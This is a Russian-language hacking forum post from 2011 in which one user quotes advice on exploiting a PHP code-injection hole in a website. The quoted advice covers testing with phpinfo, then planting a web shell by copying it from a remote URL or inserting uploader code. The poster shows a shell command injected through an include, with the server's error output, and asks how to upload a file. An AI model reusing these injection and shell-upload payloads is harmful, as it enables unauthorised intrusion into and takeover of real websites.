Показать сообщение отдельно

  #18092  
Старый 14.09.2011, 16:50
VertuOzz
Guest
Сообщений: n/a
Провел на форуме:
1470

Репутация: 0
По умолчанию

Цитата:
Сообщение от winstrool  
winstrool said:
это может дать тебе возможность выполнять пхп код, т.е если в том месте где ты вставил эту строчку срабодает пхп инфо которое можешь вызвать так "e=phpinfo();" то значит можешь удаленно попробовать залить шелл примерно так "e=cp("/folder/shell.php","http://localhost/shell.txt");" ну или на месте самой этой строчки вставить код уплодера, вообщем вариантов куча)
А можно через cmd залить?

На команду

Код:
Code:
find . -type d -perm 777 -print
ругнулся

Код HTML:
HTML:
Warning:  include_once() [function.include]: Failed opening 'modules/error_reporting(0);print `find . -type d -perm 777 -print`;///error_reporting(0);print `find . -type d -perm 777 -print`;//.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/xxx/public_html/includes/libs/ss.inc.php on line 168
но выдал все папки с правами на записью Какой командой можно залить файл, удаленно или локально?
 
Ответить с цитированием